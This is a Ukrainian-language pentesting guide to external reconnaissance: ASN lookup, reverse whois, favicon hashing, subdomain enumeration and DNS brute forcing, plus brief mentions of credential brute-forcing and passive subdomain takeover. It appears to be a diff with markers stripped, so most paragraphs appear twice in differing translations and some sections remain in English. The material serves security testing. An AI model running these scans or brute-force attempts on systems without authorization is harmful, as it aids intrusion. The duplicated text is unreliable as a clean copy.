> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
### **ASN**
### **ASNs**
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Internet Assigned Numbers Authority (IANA)**.\
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж та адмініструються однією організацією, але можуть складатися з кількох операторів.
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
Цікаво дізнатися, чи має компанія призначений який-небудь ASN, щоб знайти її **діапазони IP-адрес**. Буде корисно провести **вразливість тестування** проти всіх **хостів** в межах **області дослідження** та шукати **домени** в цих IP-адресах.\
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** та **шукати домени** в цих IP.\
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Залежно від регіону компанії ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). У будь-якому випадку, ймовірно, усю** корисну інформацію **(діапазони IP та Whois)** вже містить перше посилання.
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Також, перелік піддоменів [**BBOT**](https://github.com/blacklanternsecurity/bbot) автоматично агрегує та узагальнює ASNs в кінці сканування.
Також, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** перерахунок піддоменів автоматично агрегує та підсумовує ASN в кінці сканування.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -69,59 +70,59 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
Ви можете знайти діапазони IP організації також за допомогою [http://asnlookup.com/](http://asnlookup.com) (в нього є безкоштовний API).\
Ви можете знайти IP та ASN домену за допомогою [http://ipv4info.com/](http://ipv4info.com).
Ви можете знайти IP-діапазони організації також за допомогою [http://asnlookup.com/](http://asnlookup.com) (він має безкоштовний API).\
Ви можете знайти IP та ASN домену, використовуючи [http://ipv4info.com/](http://ipv4info.com).
### **Пошук вразливостей**
### **Шукання вразливостей**
На цьому етапі ми знаємо **всі активи в межах обсягу**, тому, якщо вам дозволено, ви можете запустити деякі **сканери вразливостей** (Nessus, OpenVAS) на всіх хостах.\
Також, ви можете запустити деякі [**скани портів**](../pentesting-network/#discovering-hosts-from-the-outside) **або використовувати сервіси, такі як** shodan **для пошуку** відкритих портів **і в залежності від того, що ви знайдете, вам слід** переглянути цю книгу, щоб дізнатися, як тестувати на проникнення кілька можливих служб, які працюють.\
**Також, варто зазначити, що ви також можете підготувати деякі** списки стандартних імен користувачів **та** паролів **і спробувати** перебрати служби за допомогою [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Також ви можете запустити деякі [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) **або використовувати сервіси, такі як** shodan **для знаходження** відкритих портів **і в залежності від того, що ви знайдете, вам слід** ознайомитися з цією книгою, щоб дізнатися, як провести пентест кількох можливих сервісів.\
**Також варто згадати, що ви можете підготувати деякі** списки стандартних імен користувачів **та** паролів **і спробувати** брутфорсити сервіси за допомогою [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Домени
## Домені
> Ми знаємо всі компанії в межах обсягу та їх активи, час знайти домени в межах обсягу.
_Зверніть увагу, що в запропонованих техніках ви також можете знайти піддоменини, і цю інформацію не слід недооцінювати._
_Зверніть увагу, що в наступних запропонованих техніках ви також можете знайти піддомени, і цю інформацію не слід недооцінювати._
Спочатку вам слід шукати **основний домен**(и) кожної компанії. Наприклад, для _Tesla Inc._ це буде _tesla.com_.
Перш за все, вам слід шукати **основний домен**(и) кожної компанії. Наприклад, для _Tesla Inc._ це буде _tesla.com_.
### **Reverse DNS**
### **Зворотний DNS**
Оскільки ви знайшли всі діапазони IP доменів, ви можете спробувати виконати **обернені DNS-запити** на цих **IP, щоб знайти більше доменів в межах обсягу**. Спробуйте використати деякий DNS-сервер жертви або деякий відомий DNS-сервер (1.1.1.1, 8.8.8.8)
Оскільки ви знайшли всі IP-діапазони доменів, ви можете спробувати виконати **зворотні DNS-запити** на цих **IP, щоб знайти більше доменів в межах обсягу**. Спробуйте використовувати деякий DNS-сервер жертви або деякий відомий DNS-сервер (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Для цього адміністратор повинен вручну увімкнути PTR.\
Ви також можете скористатися онлайн-інструментом для цієї інформації: [http://ptrarchive.com/](http://ptrarchive.com)
Для цього, адміністратор повинен вручну увімкнути PTR.\
Ви також можете використовувати онлайн-інструмент для цієї інформації: [http://ptrarchive.com/](http://ptrarchive.com)
### **Зворотній Whois (цикл)**
### **Зворотний Whois (loop)**
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але ще цікавіше те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні пошуки whois за будь-якими з цих полів** (наприклад, інші реєстри whois, де з'являється та ж електронна адреса).\
Ви можете скористатися онлайн-інструментами, такими як:
Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється той же електронний лист).\
Ви можете використовувати онлайн-інструменти, такі як:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Безкоштовно**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Безкоштовно**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Безкоштовно** веб, не безкоштовний API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Не безкоштовно
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Не безкоштовно (лише **100 безкоштовних** пошуків)
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Не безкоштовно (тільки **100 безкоштовних** запитів)
* [https://www.domainiq.com/](https://www.domainiq.com) - Не безкоштовно
Ви можете автоматизувати це завдання, використовуючи [**DomLink** ](https://github.com/vysecurity/DomLink)(потрібен ключ API whoxy).\
Ви також можете виконати автоматичне виявлення зворотнього whois за допомогою [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Ви можете автоматизувати це завдання, використовуючи [**DomLink** ](https://github.com/vysecurity/DomLink) (потрібен ключ API whoxy).\
Ви також можете виконати деяке автоматичне виявлення зворотного whois за допомогою [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Зверніть увагу, що ви можете використовувати цю техніку, щоб відкривати більше доменних імен кожного разу, коли ви знаходите новий домен.**
**Зверніть увагу, що ви можете використовувати цю техніку, щоб виявити більше доменних імен щоразу, коли ви знаходите новий домен.**
### **Трекери**
Якщо ви знаходите **той самий ідентифікатор того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** керуються **тією ж командою**.\
Наприклад, якщо ви бачите той самий **ідентифікатор Google Analytics** або той самий **ідентифікатор Adsense** на кількох сторінках.
Якщо ви знайдете **той же ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **тією ж командою**.\
Наприклад, якщо ви бачите той же **ID Google Analytics** або той же **ID Adsense** на кількох сторінках.
Є деякі сторінки та інструменти, які дозволяють вам шукати за цими трекерами та більше:
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -131,20 +132,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени до нашої цілі, шукаючи той самий хеш значка favicon? Саме це робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той же хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - відкрийте домени з тим самим хешем іконки favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - виявлення доменів з однаковим хешем значка favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Просто кажучи, favihash дозволить нам відкрити домени, які мають той самий хеш іконки favicon, що й наша ціль.
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка favicon, як у нашої цілі.
Більше того, ви також можете шукати технології, використовуючи хеш favicon, як пояснено в [**цьому дописі у блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш favicon вразливої версії веб-технології**, ви можете шукати його в shodan і **знайти більше вразливих місць**:
Більше того, ви також можете шукати технології, використовуючи хеш значка, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка favicon вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Ось як ви можете **обчислити хеш favicon** веб-сайту:
Це те, як ви можете **обчислити хеш фавікону** веб-сайту:
```python
import mmh3
import requests
@ -157,64 +158,75 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
### **Авторське право / Унікальний рядок**
### **Copyright / Uniq string**
Шукайте на веб-сторінках **рядки, які можуть бути спільними для різних веб-сайтів в одній організації**. **Рядок авторського права** може бути хорошим прикладом. Потім шукайте цей рядок в **Google**, в інших **браузерах** або навіть в **Shodan**: `shodan search http.html:"Рядок авторського права"`
Шукайте на веб-сторінках **рядки, які можуть бути спільними для різних веб-сайтів в одній організації**. **Авторське право** може бути хорошим прикладом. Потім шукайте цей рядок у **google**, в інших **браузерах** або навіть у **shodan**: `shodan search http.html:"Copyright string"`
### **Час CRT**
### **CRT Time**
Зазвичай використовується cron-завдання, таке як
Зазвичай є завдання cron, таке як
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### **Пасивне захоплення**
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
Здається, що люди часто призначають піддомени IP-адресам, які належать постачальникам хмарних послуг і, в певний момент, **втрачають цей IP-адресу, але забувають видалити запис DNS**. Тому, просто **запускаючи віртуальну машину** в хмарі (наприклад, Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
### Mail DMARC information
[**У цьому пості**](https://kmsec.uk/blog/passive-takeover/) пояснюється історія про це та пропонується скрипт, який **запускає віртуальну машину в DigitalOcean**, **отримує** IPv4 нової машини та **шукає в Virustotal записи піддоменів**, які на нього вказують.
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
### **Інші способи**
### **Passive Takeover**
**Зверніть увагу, що ви можете використовувати цю техніку, щоб виявляти більше доменних імен кожного разу, коли ви знаходите новий домен.**
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
### **Other ways**
**Note that you can use this technique to discover more domain names every time you find a new domain.**
**Shodan**
Оскільки ви вже знаєте назву організації, яка володіє IP-простором, ви можете шукати за цими даними в Shodan, використовуючи: `org:"Tesla, Inc."` Перевірте знайдені хости на наявність нових неочікуваних доменів у TLS-сертифікаті.
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Ви можете отримати доступ до **TLS-сертифікату** основної веб-сторінки, отримати **назву організації** і потім шукати цю назву в **TLS-сертифікатах** всіх веб-сторінок, відомих Shodan, з фільтром: `ssl:"Tesla Motors"` або використовувати інструмент, такий як [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) - це інструмент, який шукає **домени**, пов'язані з основним доменом та їх **піддомени**, досить дивовижний.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **Пошук вразливостей**
### **Looking for vulnerabilities**
Перевірте на **захоплення домену**. Можливо, якась компанія **використовує домен**, але **втратила власність**. Просто зареєструйте його (якщо це дешево) і повідомте компанію.
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
Якщо ви знаходите будь-який **домен з іншим IP-адресою**, ніж ті, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) та деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які служби працюють, ви можете знайти в **цій книзі деякі хитрощі для їх "атаки"**.\
_Зверніть увагу, що іноді домен розміщується на IP-адресі, який не контролюється клієнтом, тому він не входить в область видимості, будьте обережні._
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Зверніть увагу, що іноді домен розміщений на IP, який не контролюється клієнтом, тому це не в межах обсягу, будьте обережні._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Порада з баг-баунті**: **зареєструйтесь** на **Intigriti**, преміальну **платформу для баг-баунті, створену хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Піддомени
## Subdomains
> Ми знаємо всі компанії в межах області, всі активи кожної компанії та всі домени, пов'язані з компаніями.
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
Час знайти всі можливі піддомени кожного знайденого домену.
It's time to find all the possible subdomains of each found domain.
{% hint style="success" %}
Note that some of the tools and techniques to find domains can also help to find subdomains!
{% endhint %}
### **DNS**
Давайте спробуємо отримати **піддомени** з **DNS**-записів. Ми також повинні спробувати **зонний трансфер** (якщо вразливий, ви повинні повідомити про це).
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Найшвидший спосіб отримати багато піддоменів - це шукати в зовнішніх джерелах. Найбільш використовувані **інструменти** наступні (для кращих результатів налаштуйте ключі API):
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -263,7 +275,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Є **інші цікаві інструменти/API**, які, навіть якщо не спеціалізовані на пошук піддоменів, можуть бути корисними для їх знаходження, наприклад:
Є **інші цікаві інструменти/API**, які, навіть якщо не спеціалізуються безпосередньо на знаходженні піддоменів, можуть бути корисними для їх знаходження, такі як:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Використовує API [https://sonar.omnisint.io](https://sonar.omnisint.io) для отримання піддоменів
```bash
@ -271,11 +283,11 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
* [**Безкоштовний API JLDC**](https://jldc.me/anubis/subdomains/google.com)
* [**JLDC безкоштовне API**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
* [**RapidDNS**](https://rapiddns.io) безкоштовний API
* [**RapidDNS**](https://rapiddns.io) безкоштовне API
```bash
# Get Domains from rapiddns free API
rapiddns(){
@ -295,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з AlienVault's Open Threat Exchange, Wayback Machine та Common Crawl для будь-якого заданого домену.
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange від AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Вони шукають по мережі JS-файли та витягують з них піддомени.
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Вони сканують веб, шукаючи JS файли та витягують піддомени звідти.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -315,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
* [**Пошук піддоменів Censys**](https://github.com/christophetd/censys-subdomain-finder)
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -325,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) має безкоштовний API для пошуку піддоменів та історії IP
* [**securitytrails.com**](https://securitytrails.com/) має безкоштовне API для пошуку піддоменів та історії IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Цей проект пропонує **безкоштовно всі піддомени, пов'язані з програмами по виявленню помилок**. Ви також можете отримати доступ до цих даних, використовуючи [chaospy](https://github.com/dr-0x0x/chaospy) або навіть отримати доступ до обсягу, використаного цим проектом [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Цей проект пропонує **безкоштовно всі піддомени, пов'язані з програмами bug-bounty**. Ви також можете отримати доступ до цих даних, використовуючи [chaospy](https://github.com/dr-0x0x/chaospy) або навіть отримати доступ до обсягу, використаного цим проектом [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Ви можете знайти **порівняння** багатьох з цих інструментів тут: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
Давайте спробуємо знайти нові **піддомени**, використовуючи перебір DNS-серверів за можливими назвами піддоменів.
Спробуємо знайти нові **піддомени**, брутфорсуючи DNS-сервери, використовуючи можливі імена піддоменів.
Для цієї дії вам знадобляться деякі **загальні списки слів для піддоменів, такі як**:
Для цієї дії вам знадобляться деякі **загальні списки слів піддоменів, такі як**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -344,21 +356,21 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
А також IP-адреси надійних DNS-резольверів. Щоб згенерувати список довірених DNS-резольверів, ви можете завантажити резольвери з [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) та використовувати [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) для їх фільтрації. Або ви можете використовувати: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
А також IP-адреси хороших DNS-резолверів. Щоб згенерувати список надійних DNS-резолверів, ви можете завантажити резолвери з [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) і використовувати [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) для їх фільтрації. Або ви можете використовувати: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Найбільш рекомендовані інструменти для DNS-перебору:
Найбільш рекомендовані інструменти для брутфорсу DNS:
* [**massdns**](https://github.com/blechschmidt/massdns): Це був перший інструмент, який виконував ефективний перебір DNS. Він дуже швидкий, але схильний до помилкових позитивів.
* [**massdns**](https://github.com/blechschmidt/massdns): Це був перший інструмент, який виконував ефективний брутфорс DNS. Він дуже швидкий, однак схильний до хибнопозитивних результатів.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
* [**gobuster**](https://github.com/OJ/gobuster): Цей, на мою думку, просто використовує 1 резольвер.
* [**gobuster**](https://github.com/OJ/gobuster): Я думаю, що цей інструмент використовує лише 1 резолвер.
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) - це обгортка навколо `massdns`, написана на go, яка дозволяє перерахувати дійсні піддомени за допомогою активного перебору, а також вирішувати піддомени з обробкою джокерів та простою підтримкою введення-виведення.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою підстановочних знаків та простим підтримкою вводу-виводу.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -366,71 +378,71 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) використовує asyncio для асинхронного перебору доменних імен.
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) використовує asyncio для асинхронного брутфорсу доменних імен.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Другий раунд перебору DNS
### Другий раунд брутфорсу DNS
Після того, як було знайдено піддомени за допомогою відкритих джерел та перебору, ви можете створити варіації знайдених піддоменів, щоб спробувати знайти ще більше. Декілька інструментів корисні для цієї мети:
Після того, як ви знайшли піддомени, використовуючи відкриті джерела та брутфорс, ви можете згенерувати варіації знайдених піддоменів, щоб спробувати знайти ще більше. Для цієї мети корисні кілька інструментів:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Надає домени та піддомени для генерації перестановок.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задані домени та піддомени генерують перестановки.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Наданим доменам та піддоменам генерувати перестановки.
* Ви можете отримати перестановки **wordlist** для goaltdns [**тут**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
* [**goaltdns**](https://github.com/subfinder/goaltdns): Задані домени та піддомени генерують перестановки.
* Ви можете отримати перестановки goaltdns **wordlist** [**тут**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Заданими доменами та піддоменами генерувати перестановки. Якщо файл перестановок не вказано, gotator використовуватиме власний.
* [**gotator**](https://github.com/Josue87/gotator)**:** Дано домени та піддомени, генерує перестановки. Якщо файл перестановок не вказано, gotator використає свій власний.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Окрім генерації перестановок піддоменів, він також може спробувати їх вирішити (але краще використовувати попередні коментовані інструменти).
* Ви можете отримати **список слів** для перестановок altdns [**тут**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* [**altdns**](https://github.com/infosec-au/altdns): Окрім генерації пермутацій піддоменів, він також може спробувати їх розв'язати (але краще використовувати попередньо згадані інструменти).
* Ви можете отримати пермутації altdns **wordlist** [**тут**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ще один інструмент для виконання перестановок, мутацій та змін піддоменів. Цей інструмент буде перебирати результат (він не підтримує дію DNS-маски).
* Ви можете отримати словник перестановок dmut [**тут**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
* [**dmut**](https://github.com/bp0lr/dmut): Ще один інструмент для виконання перестановок, мутацій та змін піддоменів. Цей інструмент буде брутфорсити результат (він не підтримує dns wild card).
* Ви можете отримати список слів для перестановок dmut [**тут**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Заснований на домені, **генерує нові потенційні піддомени** на основі вказаних шаблонів для спроби виявлення більше піддоменів.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** На основі домену він **генерує нові потенційні імена піддоменів** на основі вказаних шаблонів, щоб спробувати виявити більше піддоменів.
#### Генерація розумних перестановок
* [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але він в основному отримує **основні частини** з **виявлених піддоменів** і змішує їх для пошуку більше піддоменів.
* [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але в основному він отримає **основні частини** з **виявлених піддоменів** і змішає їх, щоб знайти більше піддоменів.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
